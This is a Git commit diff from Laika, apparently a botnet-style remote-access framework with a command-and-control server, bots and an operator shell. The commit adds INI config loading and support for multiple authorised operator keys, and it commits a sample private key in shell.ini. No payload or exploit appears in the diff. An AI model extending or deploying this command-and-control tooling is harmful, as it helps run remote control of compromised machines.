mirror of
https://github.com/CPunch/Laika.git
synced 2024-12-08 05:20:05 +00:00
Added config inis, key refactoring
- CNC can accept multiple different auth keys now - laikaK_checkAuth() added - shell defaults to using shell.ini config file - CNC doesn't require a config file however it's highly recommended
This commit is contained in:
parent
00070d84ca
commit
e228c98c80
4
.gitignore
vendored
4
.gitignore
vendored
@ -2,4 +2,6 @@ build
|
||||
debug
|
||||
bin
|
||||
.vscode
|
||||
lconfig.h
|
||||
lconfig.h
|
||||
lcontent.c
|
||||
lcontent.h
|
@ -15,7 +15,7 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
|
||||
laikaB_readShell(bot, bot->shell);
|
||||
}
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
int main(int argv, char *argc[]) {
|
||||
struct sLaika_bot *bot = laikaB_newBot();
|
||||
|
||||
/* init task service */
|
||||
|
@ -34,13 +34,19 @@ struct sLaika_cnc {
|
||||
struct sLaika_pollList pList;
|
||||
struct hashmap *peers; /* holds all peers, lookup using pubkey */
|
||||
struct sLaika_peer **authPeers; /* holds connected panel peers */
|
||||
uint8_t **authKeys;
|
||||
int authKeysCount;
|
||||
int authKeysCap;
|
||||
int authPeersCount;
|
||||
int authPeersCap;
|
||||
uint16_t port;
|
||||
};
|
||||
|
||||
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
|
||||
void laikaC_freeCNC(struct sLaika_cnc *cnc);
|
||||
|
||||
void laikaC_bindServer(struct sLaika_cnc *cnc);
|
||||
|
||||
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
|
||||
@ -49,6 +55,8 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
|
||||
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
|
||||
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key);
|
||||
|
||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
|
||||
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
||||
|
@ -184,19 +184,17 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
||||
/* init peer hashmap & panel list */
|
||||
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
|
||||
cnc->authPeers = NULL;
|
||||
cnc->authKeys = NULL;
|
||||
cnc->authKeysCount = 0;
|
||||
cnc->authKeysCap = 4;
|
||||
cnc->authPeersCap = 4;
|
||||
cnc->authPeersCount = 0;
|
||||
cnc->port = port;
|
||||
|
||||
/* init socket & pollList */
|
||||
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
|
||||
laikaP_initPList(&cnc->pList);
|
||||
|
||||
/* bind sock to port */
|
||||
laikaS_bind(&cnc->sock, port);
|
||||
|
||||
/* add sock to pollList */
|
||||
laikaP_addSock(&cnc->pList, &cnc->sock);
|
||||
|
||||
if (sodium_init() < 0) {
|
||||
laikaC_freeCNC(cnc);
|
||||
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
||||
@ -209,13 +207,30 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
||||
LAIKA_ERROR("Failed to init cnc keypairs!\n");
|
||||
}
|
||||
|
||||
laikaC_addAuthKey(cnc, LAIKA_PUBKEY);
|
||||
return cnc;
|
||||
}
|
||||
|
||||
void laikaC_bindServer(struct sLaika_cnc *cnc) {
|
||||
/* bind sock to port */
|
||||
laikaS_bind(&cnc->sock, cnc->port);
|
||||
|
||||
/* add sock to pollList */
|
||||
laikaP_addSock(&cnc->pList, &cnc->sock);
|
||||
}
|
||||
|
||||
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
||||
int i;
|
||||
|
||||
laikaS_cleanSocket(&cnc->sock);
|
||||
laikaP_cleanPList(&cnc->pList);
|
||||
hashmap_free(cnc->peers);
|
||||
|
||||
/* free auth keys */
|
||||
for (i = 0; i < cnc->authKeysCount; i++) {
|
||||
laikaM_free(cnc->authKeys[i]);
|
||||
}
|
||||
laikaM_free(cnc->authKeys);
|
||||
laikaM_free(cnc);
|
||||
}
|
||||
|
||||
@ -297,6 +312,16 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
|
||||
laikaC_onAddPeer(cnc, peer);
|
||||
}
|
||||
|
||||
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
||||
/* grow array if we need to */
|
||||
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
|
||||
|
||||
/* insert into authenticated peer table */
|
||||
cnc->authPeers[cnc->authPeersCount++] = authPeer;
|
||||
|
||||
LAIKA_DEBUG("added panel %p!\n", authPeer);
|
||||
}
|
||||
|
||||
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
||||
int i;
|
||||
|
||||
@ -308,14 +333,17 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
||||
}
|
||||
}
|
||||
|
||||
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
||||
/* grow array if we need to */
|
||||
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
|
||||
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
|
||||
uint8_t *buf;
|
||||
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
|
||||
|
||||
/* insert into authenticated peer table */
|
||||
cnc->authPeers[cnc->authPeersCount++] = authPeer;
|
||||
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
|
||||
if (!laikaK_loadKeys(buf, NULL, key, NULL))
|
||||
LAIKA_ERROR("Failed to load key '%s'\n", key);
|
||||
|
||||
LAIKA_DEBUG("added panel %p!\n", authPeer);
|
||||
/* insert key */
|
||||
cnc->authKeys[cnc->authKeysCount++] = buf;
|
||||
printf("[~] Added authenticated public key '%s'\n", key);
|
||||
}
|
||||
|
||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||
|
@ -67,7 +67,7 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
switch (authPeer->type) {
|
||||
case PEER_AUTH:
|
||||
/* check that peer's pubkey is authenticated */
|
||||
if (sodium_memcmp(authPeer->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
|
||||
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
||||
LAIKA_ERROR("unauthorized panel!\n");
|
||||
|
||||
/* notify cnc */
|
||||
|
@ -2,14 +2,51 @@
|
||||
|
||||
#include "ltask.h"
|
||||
#include "cnc.h"
|
||||
#include "ini.h"
|
||||
|
||||
struct sLaika_taskService tService;
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
|
||||
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
|
||||
|
||||
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
|
||||
if (MATCH("auth", "public-key-entry")) {
|
||||
laikaC_addAuthKey(cnc, value);
|
||||
} else if (MATCH("server", "port")) {
|
||||
cnc->port = atoi(value);
|
||||
} else {
|
||||
return 0; /* unknown section/name, error */
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
|
||||
int iniRes;
|
||||
|
||||
printf("Loading config file '%s'...\n", config);
|
||||
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
|
||||
switch (iniRes) {
|
||||
case -1: printf("Couldn't load config file '%s'!\n", config); break;
|
||||
case -2: printf("Memory allocation error :/\n"); break;
|
||||
default:
|
||||
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argv, char *argc[]) {
|
||||
struct sLaika_cnc *cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
|
||||
|
||||
/* load config file */
|
||||
if (argv >= 2 && !loadConfig(cnc, argc[1]))
|
||||
return 1;
|
||||
|
||||
laikaT_initTaskService(&tService);
|
||||
|
||||
laikaC_bindServer(cnc);
|
||||
while (true) {
|
||||
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
|
||||
laikaT_pollTasks(&tService);
|
||||
|
7
lib/NOTES.md
Normal file
7
lib/NOTES.md
Normal file
@ -0,0 +1,7 @@
|
||||
There are some unused features and boilerplate. The unused files include:
|
||||
- ltunnel.h
|
||||
- ltunnel.c
|
||||
- lbox.h
|
||||
- lvm.h
|
||||
|
||||
These files can be safely removed from the library.
|
@ -10,4 +10,6 @@
|
||||
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv);
|
||||
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv);
|
||||
|
||||
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys);
|
||||
|
||||
#endif
|
||||
|
@ -166,7 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
||||
|
||||
/* read packet ID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID));
|
||||
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
|
||||
|
||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
|
||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
|
||||
|
@ -152,8 +152,8 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||
}
|
||||
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) {
|
||||
socklen_t addressSize;
|
||||
struct sockaddr_in address;
|
||||
socklen_t addressSize = sizeof(struct sockaddr_in);
|
||||
|
||||
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
|
||||
if (SOCKETINVALID(sock->sock))
|
||||
|
@ -17,3 +17,17 @@ bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const
|
||||
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
|
||||
return crypto_kx_keypair(outPub, outPriv) == 0;
|
||||
}
|
||||
|
||||
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
|
||||
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
|
||||
int i;
|
||||
|
||||
/* check if key is in authKey list */
|
||||
for (i = 0; i < keys; i++) {
|
||||
if (sodium_memcmp(pubKey, authKeys[i], crypto_kx_PUBLICKEYBYTES) == 0)
|
||||
return true;
|
||||
}
|
||||
|
||||
/* key not found */
|
||||
return false;
|
||||
}
|
||||
|
6
server.ini
Normal file
6
server.ini
Normal file
@ -0,0 +1,6 @@
|
||||
[server]
|
||||
;port = 13337
|
||||
|
||||
; add authorized keys here
|
||||
[auth]
|
||||
public-key-entry: 2d89362e935f96ab967938a279c786958cd4d2f5e6a05c8e2cdee916042f8700
|
4
shell.ini
Normal file
4
shell.ini
Normal file
@ -0,0 +1,4 @@
|
||||
; generate your own keys using genKey (REPLACE THESE)
|
||||
[auth]
|
||||
public-key = 2d89362e935f96ab967938a279c786958cd4d2f5e6a05c8e2cdee916042f8700
|
||||
private-key = a8e25e49ffb13b2e1beb90b15ce3a4f1f037e2409af822aab138cdbd9927c468
|
@ -26,6 +26,7 @@ void shellC_cleanup(tShell_client *client);
|
||||
void shellC_connectToCNC(tShell_client *client, char *ip, char *port);
|
||||
bool shellC_poll(tShell_client *client, int timeout);
|
||||
|
||||
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv);
|
||||
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
|
||||
|
||||
int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */
|
||||
|
@ -2,20 +2,62 @@
|
||||
|
||||
#include "sclient.h"
|
||||
#include "sterm.h"
|
||||
#include "ini.h"
|
||||
|
||||
#define STRING(x) #x
|
||||
#define MACROLITSTR(x) STRING(x)
|
||||
|
||||
const char *LOGO = "\n\t██╗ █████╗ ██╗██╗ ██╗ █████╗\n\t██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n\t██║ ███████║██║█████╔╝ ███████║\n\t██║ ██╔══██║██║██╔═██╗ ██╔══██║\n\t███████╗██║ ██║██║██║ ██╗██║ ██║\n\t╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
|
||||
|
||||
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
|
||||
tShell_client *client = (tShell_client*)user;
|
||||
|
||||
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
|
||||
if (MATCH("auth", "public-key")) {
|
||||
shellC_loadKeys(client, value, NULL);
|
||||
PRINTINFO("Auth pubkey: %s\n", value);
|
||||
} else if (MATCH("auth", "private-key")){
|
||||
shellC_loadKeys(client, NULL, value);
|
||||
} else {
|
||||
return 0; /* unknown section/name, error */
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
bool loadConfig(tShell_client *client, char *config) {
|
||||
int iniRes;
|
||||
|
||||
printf("Loading config file '%s'...\n", config);
|
||||
if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) {
|
||||
switch (iniRes) {
|
||||
case -1: printf("Couldn't load config file '%s'!\n", config); break;
|
||||
case -2: printf("Memory allocation error :/\n"); break;
|
||||
default:
|
||||
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argv, char *argc[]) {
|
||||
tShell_client client;
|
||||
char *configFile = "shell.ini";
|
||||
bool printPrompt = false;
|
||||
|
||||
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
|
||||
shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
|
||||
|
||||
shellC_init(&client);
|
||||
|
||||
/* load config file */
|
||||
if (argv > 2)
|
||||
configFile = argc[1];
|
||||
|
||||
if (!loadConfig(&client, configFile))
|
||||
return 1;
|
||||
|
||||
shellC_connectToCNC(&client, "127.0.0.1", "13337");
|
||||
|
||||
shellT_conioTerm();
|
||||
|
@ -167,7 +167,8 @@ void shellC_init(tShell_client *client) {
|
||||
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
||||
}
|
||||
|
||||
if (!laikaK_loadKeys(client->pub, client->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) {
|
||||
/* by default use random key */
|
||||
if (!laikaK_genKeys(client->pub, client->priv)) {
|
||||
shellC_cleanup(client);
|
||||
LAIKA_ERROR("Failed to init keypair!\n");
|
||||
}
|
||||
@ -251,6 +252,13 @@ bool shellC_poll(tShell_client *client, int timeout) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) {
|
||||
if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) {
|
||||
shellC_cleanup(client);
|
||||
LAIKA_ERROR("Failed to init keypair!\n");
|
||||
}
|
||||
}
|
||||
|
||||
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
|
||||
tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user